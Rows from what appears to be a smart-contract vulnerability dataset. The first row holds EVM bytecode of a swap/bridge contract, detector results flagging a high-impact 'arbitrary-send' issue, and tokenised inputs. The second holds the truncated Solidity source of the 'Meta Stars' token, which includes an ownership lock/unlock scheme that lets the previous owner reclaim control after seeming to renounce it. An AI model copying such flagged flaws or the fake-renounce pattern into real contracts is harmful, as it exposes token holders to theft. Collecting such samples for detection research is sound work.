6370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316815260200191505060206040518083038186803b15801561185b57600080fd5b505afa15801561186f573d6000803e3d6000fd5b505050506040513d602081101561188557600080fd5b505190611963565b9050858110156118d15760405160e560020a62461bcd028152600401808060200182810382526032815260200180612a146032913960400191505060405180910390fd5b9695505050505050565b60008115806118f6575050808202828282816118f357fe5b04145b61194a576040805160e560020a62461bcd02815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b92915050565b600081838161195b57fe5b049392505050565b8082038281111561194a576040805160e560020a62461bcd02815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b600154600090600160a060020a0316838360001981018181106119dd57fe5b90506020020135600160a060020a0316600160a060020a031614611a355760405160e560020a62461bcd028152600401808060200182810382526024815260200180612a916024913960400191505060405180910390fd5b611a458383600081811061169a57fe5b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a08231916024808301926020929190829003018186803b158015611aa957600080fd5b505afa158015611abd573d6000803e3d6000fd5b505050506040513d6020811015611ad357600080fd5b50516040805160208681028281018201909352868252929350611b1592909187918791829185019084908082843760009201919091525030925061234a915050565b600154604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905160009261188d928592600160a060020a03909216916370a0823191602480820192602092909190829003018186803b15801561185b57600080fd5b600154600090600160a060020a031684848381611b9b57fe5b90506020020135600160a060020a0316600160a060020a031614611bf35760405160e560020a62461bcd028152600401808060200182810382526024815260200180612a916024913960400191505060405180910390fd5b6000611bff3484611963565b905060008111611c435760405160e560020a62461bcd028152600401808060200182810382526031815260200180612afd6031913960400191505060405180910390fd5b600160009054906101000a9004600160a060020a0316600160a060020a031663d0e30db0826040518263ffffffff1660e060020a0281526004016000604051808303818588803b158015611c9657600080fd5b505af1158015611caa573d6000803e3d6000fd5b5050600154600254600160a060020a03918216945063a9059cbb9350611cf49250168888600081611cd757fe5b90506020020135600160a060020a0316898960018181106116ee57fe5b836040518363ffffffff1660e060020a0281526004018083600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015611d3e57600080fd5b505af1158015611d52573d6000803e3d6000fd5b505050506040513d6020811015611d6857600080fd5b5051611d7057fe5b600085856000198101818110611d8257fe5b90506020020135600160a060020a0316600160a060020a03166370a08231306040518263ffffffff1660e060020a0281526004018082600160a060020a0316815260200191505060206040518083038186803b158015611de157600080fd5b505afa158015611df5573d6000803e3d6000fd5b505050506040513d6020811015611e0b57600080fd5b50516040805160208881028281018201909352888252929350611e4d92909189918991829185019084908082843760009201919091525030925061234a915050565b6000611e6382888860001981018181106117fc57fe5b905087811015611ea75760405160e560020a62461bcd028152600401808060200182810382526032815260200180612a146032913960400191505060405180910390fd5b979650505050505050565b600354600090611ecd908a90600160a060020a031686612662565b6000600360009054906101000a9004600160a060020a0316600160a060020a031663559ebe57848c8c8c8c8c8c8c8c6004546040518b63ffffffff1660e060020a028152600401808a600160a060020a031681526020018967ffffffffffffffff1681526020018867ffffffffffffffff1681526020018060200180602001878152602001868152602001858152602001848152602001838103835289818151815260200191508051906020019080838360005b83811015611f99578181015183820152602001611f81565b50505050905090810190601f168015611fc65780820380516001836020036101000a031916815260200191505b5083810382528851815288516020918201918a019080838360005b83811015611ff9578181015183820152602001611fe1565b50505050905090810190601f1680156120265780820380516001836020036101000a031916815260200191505b509b5050505050505050505050506020604051808303818588803b15801561204d57600080fd5b505af1158015612061573d6000803e3d6000fd5b50505050506040513d602081101561207857600080fd5b50519050806120d1576040805160e560020a62461bcd02815260206004820152601560248201527f504f4c592043524f5353434841494e204552524f520000000000000000000000604482015290519081900360640190fd5b9998505050505050505050565b60008060006120ed85856127f6565b604080516c01000000000000000000000000600160a060020a03948516810260208084019190915293851681026034830152825160288184030181526048830184528051908501207fff00000000000000000000000000000000000000000000000000000000000000606884015294909a1690990260698a0152607d8901929092527f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f609d808a01919091528251808a03909101815260bd909801909152865196019590952095945050505050565b60408051600160a060020a0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017815292518251600094606094938a169392918291908083835b6020831061226f5780518252601f199092019160209182019101612250565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146122d1576040519150601f19603f3d011682016040523d82523d6000602084013e6122d6565b606091505b5091509150818015612304575080511580612304575080806020019051602081101561230157600080fd5b50515b6123425760405160e560020a62461bcd028152600401808060200182810382526024815260200180612b916024913960400191505060405180910390fd5b505050505050565b60005b60018351038110156114e85760008084838151811061236857fe5b602002602001015185846001018151811061237f57fe5b602002602001015191509150600061239783836127f6565b506002549091506000906123b590600160a060020a031685856120de565b905060008060008084600160a060020a0316630902f1ac6040518163ffffffff1660e060020a02815260040160606040518083038186803b1580156123f957600080fd5b505afa15801561240d573d6000803e3d6000fd5b505050506040513d606081101561242357600080fd5b5080516020909101516dffffffffffffffffffffffffffff9182169350169050600080600160a060020a038a811690891614612460578284612463565b83835b915091506124bb828b600160a060020a03166370a082318a6040518263ffffffff1660e060020a0281526004018082600160a060020a0316815260200191505060206040518083038186803b15801561185b57600080fd5b95506124c88683836128da565b94505050505060008085600160a060020a031688600160a060020a0316146124f2578260006124f6565b6000835b91509150600060028c51038a1061250d578a612543565b612543600260009054906101000a9004600160a060020a0316898e8d6002018151811061253657fe5b60200260200101516120de565b60408051600080825260208201928390527f022c0d9f0000000000000000000000000000000000000000000000000000000083526024820187815260448301879052600160a060020a038086166064850152608060848501908152845160a48601819052969750908c169563022c0d9f958a958a958a9591949193919260c486019290918190849084905b838110156125e65781810151838201526020016125ce565b50505050905090810190601f1680156126135780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561263557600080fd5b505af1158015612649573d6000803e3d6000fd5b50506001909b019a5061234d9950505050505050505050565b60408051600160a060020a038481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b300000000000000000000000000000000000000000000000000000000178152925182516000946060949389169392918291908083835b6020831061270d5780518252601f1990920191602091820191016126ee565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461276f576040519150601f19603f3d011682016040523d82523d6000602084013e612774565b606091505b50915091508180156127a25750805115806127a2575080806020019051602081101561279f57600080fd5b50515b611681576040805160e560020a62461bcd02815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b60008082600160a060020a031684600160a060020a0316141561284d5760405160e560020a62461bcd028152600401808060200182810382526025815260200180612a6c6025913960400191505060405180910390fd5b82600160a060020a031684600160a060020a03161061286d578284612870565b83835b9092509050600160a060020a0382166128d3576040805160e560020a62461bcd02815260206004820152601e60248201527f556e697377617056324c6962726172793a205a45524f5f414444524553530000604482015290519081900360640190fd5b9250929050565b600080841161291d5760405160e560020a62461bcd02815260040180806020018281038252602b815260200180612bb5602b913960400191505060405180910390fd5b60008311801561292d5750600082115b61296b5760405160e560020a62461bcd028152600401808060200182810382526028815260200180612ab56028913960400191505060405180910390fd5b6000612979856103e56118db565b9050600061298782856118db565b905060006129a18361299b886103e86118db565b906129b8565b90508082816129ac57fe5b04979650505050505050565b8082018281101561194a576040805160e560020a62461bcd02815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe4f3353776170455448556e69737761704272696467653a20494e53554646494349454e545f4f55545055545f414d4f554e544f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373556e697377617056324c6962726172793a204944454e544943414c5f4144445245535345534f3353776170455448556e69737761704272696467653a20494e56414c49445f50415448556e697377617056324c6962726172793a20494e53554646494349454e545f4c49515549444954594f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65724f3353776170455448556e69737761704272696467653a20494e53554646494349454e545f494e5055545f414d4f554e544f3353776170455448556e69737761704272696467653a2045585049524544005472616e7366657248656c7065723a204554485f5452414e534645525f4641494c4544270e06e1460fe9df2e798064a58fdb072e3f3e1e39e7db96268c13849c025aed5472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a26469706673582212206605610e824bc9bf92a2224b53eafac180e613bbf56ebc5ba8a9d06bddf6724d64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2278, 7011, 12740, 2620, 3540, 2692, 23499, 2094, 2683, 10354, 5243, 2692, 2497, 2620, 19317, 2581, 4783, 2581, 23632, 12879, 25746, 2063, 2620, 2050, 2692, 24434, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1027, 1014, 1012, 1020, 1012, 2260, 1025, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,449
0x96d042f673066a528e36460be35bea0330e2dadf
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address ) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract STARS is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) public _isExcludedBal; // list for Max Bal limits uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _mTotal = 0; string private _name = "Meta Stars"; string private _symbol = "STARS"; uint8 private _decimals = 18; uint256 public _burnFee = 10; uint256 private _previousBurnFee = _burnFee; uint256 public _taxFee = 0; uint256 private _previousTaxFee = _taxFee; uint256 private _liquidityFee = 5; uint256 private _previousLiquidityFee = _liquidityFee; uint256 public _buyFees = 5; uint256 public _sellFees = 5; address public marketing = 0x364f06BEeF858d00Bd7d3f5c81167f82E7AB4B4A; address public minter; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxBalAmount = _tTotal; uint256 public numTokensSellToAddToLiquidity = 1 * 10**18; bool public _taxEnabled = true; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { // _rOwned[msg.sender] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcluded[uniswapV2Pair] = true; // excluded from rewards _isExcludedBal[uniswapV2Pair] = true; _isExcludedBal[owner()] = true; _isExcludedBal[address(this)] = true; _isExcludedBal[address(0)] = true; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,,) = _getValues(tAmount); return 